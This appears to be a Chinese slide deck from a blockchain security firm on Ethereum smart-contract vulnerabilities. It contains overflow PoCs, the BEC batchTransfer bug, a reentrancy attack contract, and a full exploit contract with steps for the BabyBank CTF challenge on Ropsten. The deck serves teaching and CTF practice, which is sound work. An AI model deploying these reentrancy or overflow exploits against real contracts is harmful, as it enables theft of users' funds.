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智能合约
智能合约是由事件驱动的、具有状态的、运行

在一个可复制的、

共享的账本之上的计算机程序，当满足特定条

件时，智能合约会自动执行。

计算机程序合同

合约一旦部署不可修改、合约执行后不可逆、

所有执行事务可追踪



以太坊智能合约漏洞类型

• 未验证返回值
• 非预期的Ether
• 默认可见性
• tx.origin身份认证
• Delegatecall函数调用
• Call函数调用
• 拒绝服务
• 逻辑设计缺陷
• 未初始化的存储指针

• 错误的构造函数
• 不安全的随机数
• 时间戳依赖
• 交易顺序依赖

• 整数溢出
• 重入攻击
• 假充值
• 浮点数和数值精度
• 代币增发
• 冻结账户绕过
• 短地址攻击

高危 中危 低危



整数溢出

• 加法溢出

•减法溢出

•乘法溢出

2**8 - 1 + 1 = 0

0 - 1 = 2**8 - 1

2 ** 8 * 2 = 0 



整数溢出
pragma solidity ^0.4.25;

contract POC{
//加法溢出
//如果uint256 类型的变量达到了它的最大值(2**256 - 1)，如果在加上一个大于0的值便会变成0
function add_overflow() returns (uint256 _overflow) {

uint256 max = 2**256 - 1;
return max + 1;

}

//减法溢出
//如果uint256 类型的变量达到了它的最小值(0)，如果在减去一个小于0的值便会变成2**256-1(uin256类型的最大值)
function sub_underflow() returns (uint256 _underflow) {

uint256 min = 0;
return min - 1;

}

//乘法溢出
//如果uint256 类型的变量超过了它的最大值(2**256 - 1)，最后它的值就会回绕变成0
function mul_overflow() returns (uint256 _underflow) {

uint256 mul = 2**255;
return mul * 2;

}
}



整数溢出
BEC合约在etherscan上的地址为：
https://etherscan.io/address/0xc5d105e63711398af9bbff092d4b6769c82f793d#code

function batchTransfer(address[] _receivers, uint256 _value) public whenNotPaused returns (bool) {
uint cnt = _receivers.length;
uint256 amount = uint256(cnt) * _value;   //溢出漏洞点
require(cnt > 0 && cnt <= 20);
require(_value > 0 && balances[msg.sender] >= amount);

balances[msg.sender] = balances[msg.sender].sub(amount);
for (uint i = 0; i < cnt; i++) {

balances[_receivers[i]] = balances[_receivers[i]].add(_value);
Transfer(msg.sender, _receivers[i], _value);

}
return true;

}



重入漏洞
重入漏洞：当合约被外部调用时可能被攻击者劫持，迫使合约执行进一步的代码导致重新进入逻辑
重入漏洞成立的条件
1. 合约调用带有足够的gas 
2. 有转账功能（payable）
3. 状态变量在重入函数调用之后
重入漏洞涉及的知识点
1. call.value()()转币方法
当发送失败时会返回 false 布尔值，会传递所有可用 Gas 进行调用。

2. 回退函数fallback()，智能合约中可以有唯一的一个未命名函数，称为fallback函数。该函数不能有实参，不能返回任何值。
什么时候执行fallback函数？

• 当外部账户或其他合约向该合约地址发送 ether 时，fallback函数会被调用；
• 当外部账户或其他合约向该合约地址发送 ether 时，但是内部没有fallback函数，那么就会抛出异常，然后将以太币退还给发
送方。

• 当外部账户或其他合约调用了该合约一个不存在的函数时，fallback函数会被调用；
3. payable 标识的函数。函数上增加payable标识，即可接受 ether，并且会把ether存在当前合约



重入漏洞
pragma solidity ^0.4.10;

contract IDMoney {      //存在重入漏洞的合约

address owner;
mapping (address => uint256) balances; // 记录每个打币者存入的资产情况

function IDMoney() { owner = msg.sender; }
function deposit() payable { balances[msg.sender] += msg.value; }

function withdraw(address to, uint256 amount) {
require(balances[msg.sender] > amount);
require(this.balance > amount);

to.call.value(amount)(); // 使用 call.value()() 进行 ether 转币时，默认会发所有的 Gas 给外部
balances[msg.sender] -= amount;

}

function balanceOf() returns (uint256) { return balances[msg.sender]; }
function balanceOf(address addr) returns (uint256) { return balances[addr]; }

}



重入漏洞
pragma solidity ^0.4.10;

contract Attack {       //重入漏洞攻击合约
address owner;
address victim;
modifier ownerOnly { require(owner == msg.sender); _; }

function Attack() payable { owner = msg.sender; }
// 设置已部署的 IDMoney 合约实例地址
function setVictim(address target) ownerOnly { victim = target; }

function startAttack(uint256 amount) ownerOnly {
step1(amount);
step2(amount / 2);

}
function () payable {

if (msg.sender == victim) {
// 再次尝试调用 IDCoin 的 sendCoin 函数，递归转币
victim.call(bytes4(keccak256("withdraw(address,uint256)")), this, msg.value);

}
}

}

重入漏洞攻击步骤：

1. 在攻击合约中保存IDMoney合约地址
2. 给IDMoney合约中存入Ether
3. 从IDMoney取Ether/2
4. IDMoney合约使用call.value方法给

攻击合约转币
5. 触发攻击合约fallback函数（该函数继

续调用IDMoney合约的转账函数）
6. IDMoney合约使用call.value方法给

攻击合约转币，触发攻击合约fallback
函数，重复调用步骤，最终取走所有
以太币





利用重入漏洞多次提取以太币，获取大量资产来

绕过条件判断，最终获取flag

利用整数溢出漏洞得到数额巨大的以太币，绕过

条件判断获取flag

使用大量钱包地址获取空投，最终突破资产限制

条件获取flag

重入问题 整数溢出

薅羊毛

CTF中的智能合约题型

通过链上的可控随机数（如当前块号：

block.number），可以提前算出结果，待随机

数值出现，就可通过预先准备好的攻击代码，直

接获取flag

随机数可控



2019第三届强网杯线上赛BabyBank智能合约题目
Rospten上合约地址：0x93466d15A8706264Aa70edBCb69B7e13394D049f

CTF中的重入

function withdraw(var arg0) {
if (arg0 != 0x02) { revert(memory[0x00:0x00]); }
memory[0x00:0x20] = msg.sender;
memory[0x20:0x40] = 0x00;
if (arg0 > storage[keccak256(memory[0x00:0x40])]) { revert(memory[0x00:0x00]); }
var temp0 = arg0;
var temp1 = memory[0x40:0x60];
memory[temp1:temp1 + 0x00] = address(msg.sender).call.gas(msg.gas).value(temp0 * 0x5af3107a400

0)(memory[temp1:temp1 + memory[0x40:0x60] - temp1]);
memory[0x00:0x20] = msg.sender;
memory[0x20:0x40] = 0x00;
var temp2 = keccak256(memory[0x00:0x40]);
storage[temp2] = storage[temp2] - temp0;

}

合约反编译：https://ethervm.io/decompile

0x60806040526004361061008e576000357c01000000000000000000000000000000000
00000000000000000000000900463ffffffff1680632e1a7d4d1461009357806366d16c
c3146100c05780638c0320de146100d75780639189fec114610186578063a5e9585f146



CTF中的重入
1.获取flag函数：

function payforflag(string md5ofteamtoken,string b64email) public{
require(balance[msg.sender] >= 10000000000);
balance[msg.sender]=0;
owner.transfer(address(this).balance);
emit sendflag(md5ofteamtoken,b64email);

}

3.触发withdraw函数转账之前的判断条件:

function profit() public {
require(level[msg.sender] == 0);
require(msg.sender & 0xffff == 0xb1b1);
balance[msg.sender] += 1;
level[msg.sender] += 1;

}

function xxx(uint256 number) public onlyOwner {
secret = number;

}

function guess(uint256 number) public {
require(number == secret);
require(level[msg.sender] == 1);
balance[msg.sender] += 1;
level[msg.sender] += 1;

}

2.存在重入漏洞withdraw函数：

function withdraw(uint256 amount) public {
require(amount == 2);
require(amount <= balance[msg.sender]);
// 重入漏洞
address(msg.sender).call.gas(msg.gas).value(amount * 0x5af3107a40

00)();
// 整形下溢出
balance[msg.sender] -= amount;

}





CTF中的重入
interface BabybankInterface {

function withdraw(uint256 amount) external;
function profit() external;
function guess(uint256 number) external;
function transfer(address to, uint256 amount) external;
function payforflag(string md5ofteamtoken, string b64email) external;

}
contract attacker {

BabybankInterface constant private target = BabybankInterface(0x93466d15A8706264Aa70edBCb69B7e13394D049f);
uint private flag = 0;
function exploit() public payable {

target.profit();
target.guess(0x0000000000002f13bfb32a59389ca77789785b1a2d36c26321852e813491a1ca);
target.withdraw(2);
target.payforflag("Taijie", "Along");

}
function() external payable {

require (flag == 0);
flag = 1;
target.withdraw(2);

}
}



1.首先利用自毁给漏洞合约转币

CTF中的重入

function kill() public payable {
selfdestruct(address(0x93466d15A8706264Aa70edBCb69B7e13394D049f));

}

漏洞复现使用：Remix+MetaMask工具



CTF中的重入 2.使用前四位为b1b1的地址部署攻击合约attacker

枚举地址建议使用：

https://vanity-eth.tk/



CTF中的重入 3.攻击合约部署成功后，调用该合约的exploit函数

MetaMask钱包

显示调用完成



CTF中的重入

数据显示，Events事件中payforflag函数中
调用的两个参数（payforflag("Taijie", 
"Along")）已成功输出

4.查看ropsten中漏洞合约的相关数据



零时科技

电话
+86 173 9194 8456
+86 173 9194 5345

地址
深圳市深南大道佳嘉豪商务大厦18A
西安市丈八一路望都国际大厦A座1504

邮件
support@noneage.com
dengyongkai@noneage.com

公众号：noneage 个人：台阶

零时科技——专业的区块链安全解决方案服务提供商

mailto:support@noneage.com
mailto:team@noneage.com


谢谢！


